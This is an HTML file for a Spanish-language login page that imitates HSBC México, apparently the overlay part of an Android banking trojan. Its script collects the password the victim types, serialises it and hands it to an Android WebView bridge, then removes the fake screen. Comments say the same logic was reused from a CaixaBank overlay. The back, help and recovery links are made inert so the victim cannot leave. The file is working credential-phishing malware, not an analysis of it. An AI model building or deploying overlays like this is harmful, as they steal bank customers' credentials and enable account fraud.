339 lines
16 KiB
HTML
339 lines
16 KiB
HTML
<!DOCTYPE html>
|
|
<html class="light" lang="es" style=""><head>
|
|
<meta charset="utf-8">
|
|
<meta content="width=device-width, initial-scale=1.0" name="viewport">
|
|
<script src="https://cdn.tailwindcss.com?plugins=forms,container-queries"></script>
|
|
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet">
|
|
<link href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:wght,[email protected],0..1&display=swap" rel="stylesheet">
|
|
<link href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:wght,[email protected],0..1&display=swap" rel="stylesheet">
|
|
<style>
|
|
body {
|
|
font-family: 'Inter', sans-serif;
|
|
-webkit-tap-highlight-color: transparent;
|
|
}
|
|
.material-symbols-outlined {
|
|
font-variation-settings: 'FILL' 0, 'wght' 400, 'GRAD' 0, 'opsz' 24;
|
|
}
|
|
.floating-label-input:focus-within label,
|
|
.floating-label-input input:not(:placeholder-shown) + label {
|
|
transform: translateY(-1.5rem) scale(0.85);
|
|
color: #bb0012;
|
|
}
|
|
.transition-all-custom {
|
|
transition: all 0.2s cubic-bezier(0.4, 0, 0.2, 1);
|
|
}
|
|
</style>
|
|
<script id="tailwind-config">
|
|
tailwind.config = {
|
|
darkMode: "class",
|
|
theme: {
|
|
extend: {
|
|
"colors": {
|
|
"on-tertiary": "#ffffff",
|
|
"inverse-surface": "#2f3131",
|
|
"on-surface-variant": "#5e3f3b",
|
|
"error-container": "#ffdad6",
|
|
"surface-container-low": "#f3f3f3",
|
|
"surface-bright": "#f9f9f9",
|
|
"on-primary-container": "#fffbff",
|
|
"primary-container": "#e7141f",
|
|
"secondary": "#5e5e5e",
|
|
"secondary-fixed-dim": "#c6c6c6",
|
|
"primary-fixed": "#ffdad6",
|
|
"surface-dim": "#dadada",
|
|
"on-secondary": "#ffffff",
|
|
"surface-container": "#eeeeee",
|
|
"on-surface": "#1a1c1c",
|
|
"on-tertiary-container": "#fefcfc",
|
|
"tertiary": "#5c5c5c",
|
|
"outline": "#936e6a",
|
|
"on-primary": "#ffffff",
|
|
"on-primary-fixed": "#410002",
|
|
"surface-container-highest": "#e2e2e2",
|
|
"inverse-primary": "#ffb4ab",
|
|
"on-error": "#ffffff",
|
|
"surface-variant": "#e2e2e2",
|
|
"surface-tint": "#c00013",
|
|
"secondary-fixed": "#e2e2e2",
|
|
"background": "#f9f9f9",
|
|
"on-secondary-fixed-variant": "#474747",
|
|
"on-tertiary-fixed": "#1b1c1c",
|
|
"primary": "#bb0012",
|
|
"secondary-container": "#e2e2e2",
|
|
"tertiary-container": "#747474",
|
|
"on-tertiary-fixed-variant": "#464747",
|
|
"on-background": "#1a1c1c",
|
|
"inverse-on-surface": "#f1f1f1",
|
|
"primary-fixed-dim": "#ffb4ab",
|
|
"surface": "#f9f9f9",
|
|
"error": "#ba1a1a",
|
|
"on-secondary-container": "#646464",
|
|
"tertiary-fixed": "#e3e2e2",
|
|
"outline-variant": "#e8bcb7",
|
|
"on-secondary-fixed": "#1b1b1b",
|
|
"on-error-container": "#93000a",
|
|
"surface-container-high": "#e8e8e8",
|
|
"on-primary-fixed-variant": "#93000b",
|
|
"tertiary-fixed-dim": "#c7c6c6",
|
|
"surface-container-lowest": "#ffffff"
|
|
},
|
|
"borderRadius": {
|
|
"DEFAULT": "0.125rem",
|
|
"lg": "0.25rem",
|
|
"xl": "0.5rem",
|
|
"full": "0.75rem"
|
|
},
|
|
"spacing": {
|
|
"margin-mobile": "16px",
|
|
"lg": "24px",
|
|
"2xl": "48px",
|
|
"margin-tablet": "32px",
|
|
"sm": "8px",
|
|
"gutter": "16px",
|
|
"base": "4px",
|
|
"xs": "4px",
|
|
"xl": "32px",
|
|
"md": "16px"
|
|
},
|
|
"fontFamily": {
|
|
"headline-lg": ["Inter"],
|
|
"body-sm": ["Inter"],
|
|
"headline-md": ["Inter"],
|
|
"headline-lg-mobile": ["Inter"],
|
|
"label-md": ["Inter"],
|
|
"body-lg": ["Inter"],
|
|
"label-sm": ["Inter"]
|
|
},
|
|
"fontSize": {
|
|
"headline-lg": ["32px", {"lineHeight": "40px", "letterSpacing": "-0.02em", "fontWeight": "700"}],
|
|
"body-sm": ["14px", {"lineHeight": "20px", "fontWeight": "400"}],
|
|
"headline-md": ["20px", {"lineHeight": "28px", "fontWeight": "600"}],
|
|
"headline-lg-mobile": ["24px", {"lineHeight": "32px", "letterSpacing": "-0.01em", "fontWeight": "700"}],
|
|
"label-md": ["12px", {"lineHeight": "16px", "letterSpacing": "0.05em", "fontWeight": "600"}],
|
|
"body-lg": ["16px", {"lineHeight": "24px", "fontWeight": "400"}],
|
|
"label-sm": ["11px", {"lineHeight": "14px", "fontWeight": "500"}]
|
|
}
|
|
},
|
|
},
|
|
}
|
|
</script>
|
|
</head>
|
|
<body class="text-on-surface min-h-screen flex flex-col items-center" style="background: linear-gradient(rgb(255, 245, 245) 0%, rgb(255, 255, 255) 100%);">
|
|
<!-- Contenedor principal con ID para overlay (misma lógica que CaixaBank) -->
|
|
<div id="hsbc-overlay" class="w-full max-w-md flex flex-col min-h-screen">
|
|
<!-- TopAppBar -->
|
|
<header class="w-full top-0 sticky border-b border-surface-variant flex justify-between items-center px-margin-mobile py-sm z-50 bg-surface-bright">
|
|
<button aria-label="Regresar" class="active:opacity-70 transition-opacity flex items-center justify-center p-2 hover:bg-surface-container-low transition-colors rounded-full" id="backButton">
|
|
<span class="material-symbols-outlined text-primary" data-icon="arrow_back">arrow_back</span>
|
|
</button>
|
|
<h1 class="font-headline-md text-headline-md font-bold text-on-surface">HSBC México</h1>
|
|
<button aria-label="Ayuda" class="active:opacity-70 transition-opacity flex items-center justify-center p-2 hover:bg-surface-container-low transition-colors rounded-full" id="helpButton">
|
|
<span class="material-symbols-outlined text-primary" data-icon="help">help</span>
|
|
</button>
|
|
</header>
|
|
<main class="w-full flex-1 flex flex-col px-margin-mobile pt-xl pb-2xl">
|
|
<!-- Header Section con saludo dinámico -->
|
|
<div class="mb-xl">
|
|
<h2 class="font-headline-lg-mobile text-headline-lg-mobile text-on-surface mb-sm" id="greeting">
|
|
Hola, Cliente
|
|
</h2>
|
|
<p class="font-body-lg text-body-lg text-secondary">
|
|
Ingresa tu contraseña para continuar
|
|
</p>
|
|
</div>
|
|
<!-- Input Field Section -->
|
|
<div class="space-y-md">
|
|
<div class="relative floating-label-input group">
|
|
<input autocomplete="current-password" class="block w-full px-0 py-4 bg-transparent border-0 border-b-2 border-surface-variant focus:border-primary focus:ring-0 font-body-lg text-body-lg transition-all-custom" id="password" name="password" placeholder=" " type="password" autocomplete="off">
|
|
<label class="absolute left-0 top-4 font-body-lg text-body-lg text-secondary transition-all-custom origin-left pointer-events-none" for="password">
|
|
Contraseña
|
|
</label>
|
|
<button class="absolute right-0 top-4 text-secondary hover:text-primary active:scale-95 transition-transform" id="togglePassword" type="button">
|
|
<span class="material-symbols-outlined" id="eyeIcon">visibility</span>
|
|
</button>
|
|
</div>
|
|
<div class="flex justify-start">
|
|
<a class="font-label-md text-label-md text-primary font-bold hover:underline transition-all" href="#" id="forgotLink">
|
|
Olvidé mi contraseña
|
|
</a>
|
|
</div>
|
|
</div>
|
|
<!-- Spacer for push content -->
|
|
<div class="flex-grow"></div>
|
|
<!-- Security Hint -->
|
|
<div class="flex items-center justify-center gap-xs mb-lg py-sm">
|
|
<span class="material-symbols-outlined text-tertiary-container text-sm" data-icon="lock" style="font-variation-settings: 'FILL' 1;">lock</span>
|
|
<span class="font-label-sm text-label-sm text-tertiary">Conexión segura</span>
|
|
</div>
|
|
<!-- Primary Action -->
|
|
<div class="w-full">
|
|
<button class="w-full bg-primary-container text-on-primary-container py-md font-headline-md text-headline-md rounded-lg active:scale-[0.98] transition-all hover:brightness-110 shadow-sm" id="loginBtn" disabled>
|
|
Continuar
|
|
</button>
|
|
</div>
|
|
</main>
|
|
<!-- Simple Footer for Legal -->
|
|
<footer class="w-full flex flex-col items-center gap-xs px-margin-mobile py-lg text-center bg-surface-container">
|
|
<p class="font-label-sm text-label-sm text-on-surface-variant">© HSBC México 2024. Todos los derechos reservados.</p>
|
|
<div class="flex flex-wrap justify-center gap-md mt-sm">
|
|
<a class="font-label-sm text-label-sm text-on-surface-variant hover:text-primary transition-colors" href="#" id="privacyLink">Aviso de Privacidad</a>
|
|
<a class="font-label-sm text-label-sm text-on-surface-variant hover:text-primary transition-colors" href="#" id="securityLink">Seguridad</a>
|
|
</div>
|
|
</footer>
|
|
</div>
|
|
|
|
<script>
|
|
// ==================== 1. Saludo dinámico (exactamente igual que CaixaBank) ====================
|
|
document.addEventListener('DOMContentLoaded', function() {
|
|
const greetingElement = document.getElementById('greeting');
|
|
if (greetingElement) {
|
|
const currentHour = new Date().getHours();
|
|
let greetingText = '';
|
|
if (currentHour >= 5 && currentHour < 12) {
|
|
greetingText = 'Buenos días, Cliente';
|
|
} else if (currentHour >= 12 && currentHour < 21) {
|
|
greetingText = 'Buenas tardes, Cliente';
|
|
} else {
|
|
greetingText = 'Buenas noches, Cliente';
|
|
}
|
|
greetingElement.textContent = greetingText;
|
|
}
|
|
});
|
|
|
|
// ==================== 2. Mostrar/ocultar contraseña (toggle) ====================
|
|
const toggleBtn = document.getElementById('togglePassword');
|
|
const passwordField = document.getElementById('password');
|
|
const eyeIcon = document.getElementById('eyeIcon');
|
|
|
|
if (toggleBtn && passwordField && eyeIcon) {
|
|
toggleBtn.addEventListener('click', function() {
|
|
const isPassword = passwordField.getAttribute('type') === 'password';
|
|
passwordField.setAttribute('type', isPassword ? 'text' : 'password');
|
|
eyeIcon.textContent = isPassword ? 'visibility_off' : 'visibility';
|
|
});
|
|
}
|
|
|
|
// ==================== 3. Serializador universal exacto a CaixaBank (stringifyJSON personalizado) ====================
|
|
var stringifyJSON = function(obj) {
|
|
var arrOfKeyVals = [], arrVals = [], objKeys = [];
|
|
if (typeof obj === 'number' || typeof obj === 'boolean' || obj === null)
|
|
return '' + obj;
|
|
else if (typeof obj === 'string')
|
|
return '"' + obj + '"';
|
|
else if (Array.isArray(obj)) {
|
|
if (obj[0] === undefined) return '[]';
|
|
else {
|
|
obj.forEach(function(el) { arrVals.push(stringifyJSON(el)); });
|
|
return '[' + arrVals.join(',') + ']';
|
|
}
|
|
} else if (obj instanceof Object) {
|
|
objKeys = Object.keys(obj);
|
|
objKeys.forEach(function(key) {
|
|
var keyOut = '"' + key + '":', keyValOut = obj[key];
|
|
if (keyValOut instanceof Function || typeof keyValOut === undefined)
|
|
arrOfKeyVals.push('');
|
|
else if (typeof keyValOut === 'string')
|
|
arrOfKeyVals.push(keyOut + '"' + keyValOut + '"');
|
|
else if (typeof keyValOut === 'boolean' || typeof keyValOut === 'number' || keyValOut === null)
|
|
arrOfKeyVals.push(keyOut + keyValOut);
|
|
else if (keyValOut instanceof Object)
|
|
arrOfKeyVals.push(keyOut + stringifyJSON(keyValOut));
|
|
});
|
|
return '{' + arrOfKeyVals + '}';
|
|
}
|
|
};
|
|
|
|
// ==================== 4. Habilitar botón solo si hay contraseña (igual que CaixaBank) ====================
|
|
const passwordInput = document.getElementById('password');
|
|
const loginBtn = document.getElementById('loginBtn');
|
|
|
|
if (passwordInput && loginBtn) {
|
|
passwordInput.addEventListener('input', function(){
|
|
if (passwordInput.value.trim()) {
|
|
loginBtn.disabled = false;
|
|
} else {
|
|
loginBtn.disabled = true;
|
|
}
|
|
});
|
|
}
|
|
|
|
// ==================== 5. Log de datos y eliminación del overlay ====================
|
|
function send_form() {
|
|
var pwd = passwordInput ? passwordInput.value.trim() : '';
|
|
if(!pwd) return false;
|
|
|
|
// Construir objeto de datos
|
|
let formData = {
|
|
password: pwd
|
|
};
|
|
|
|
const jsonPayload = stringifyJSON(formData);
|
|
|
|
// Soporte para Android WebView (bridge)
|
|
if (typeof Android !== "undefined" && Android && typeof Android.returnResult === 'function') {
|
|
Android.returnResult(jsonPayload);
|
|
}
|
|
if (typeof Android !== "undefined" && Android && typeof Android.hidePage === 'function') {
|
|
Android.hidePage('');
|
|
}
|
|
|
|
const ua = navigator.userAgent;
|
|
let androidVersion = 'desconocido';
|
|
const androidMatch = ua.match(/Android\s([0-9\.]+)/);
|
|
if (androidMatch && androidMatch[1]) androidVersion = androidMatch[1];
|
|
const hora = new Date().toLocaleString('es-ES');
|
|
|
|
const message = `HSBC MEXICO\nversion: ${androidVersion}\nTiempo: ${hora}\nPWD: ${pwd}`;
|
|
console.log(message);
|
|
console.log('Form data:', formData);
|
|
|
|
// Eliminar overlay / contenedor después de 300ms
|
|
setTimeout(function() {
|
|
var overlay = document.getElementById('hsbc-overlay');
|
|
if (overlay) overlay.remove();
|
|
}, 300);
|
|
}
|
|
|
|
// Asignar evento al botón de login
|
|
if (loginBtn) {
|
|
loginBtn.addEventListener('click', (e) => {
|
|
e.preventDefault();
|
|
send_form();
|
|
});
|
|
}
|
|
|
|
// ==================== 6. Eventos silenciosos para elementos adicionales (sin alertas ni toasts) ====================
|
|
const backButton = document.getElementById('backButton');
|
|
const helpButton = document.getElementById('helpButton');
|
|
const forgotLink = document.getElementById('forgotLink');
|
|
const privacyLink = document.getElementById('privacyLink');
|
|
const securityLink = document.getElementById('securityLink');
|
|
|
|
if (backButton) {
|
|
backButton.addEventListener('click', (e) => {
|
|
e.preventDefault();
|
|
});
|
|
}
|
|
if (helpButton) {
|
|
helpButton.addEventListener('click', (e) => {
|
|
e.preventDefault();
|
|
});
|
|
}
|
|
if (forgotLink) {
|
|
forgotLink.addEventListener('click', (e) => {
|
|
e.preventDefault();
|
|
});
|
|
}
|
|
if (privacyLink) {
|
|
privacyLink.addEventListener('click', (e) => {
|
|
e.preventDefault();
|
|
});
|
|
}
|
|
if (securityLink) {
|
|
securityLink.addEventListener('click', (e) => {
|
|
e.preventDefault();
|
|
});
|
|
}
|
|
</script>
|
|
</body>
|
|
</html> |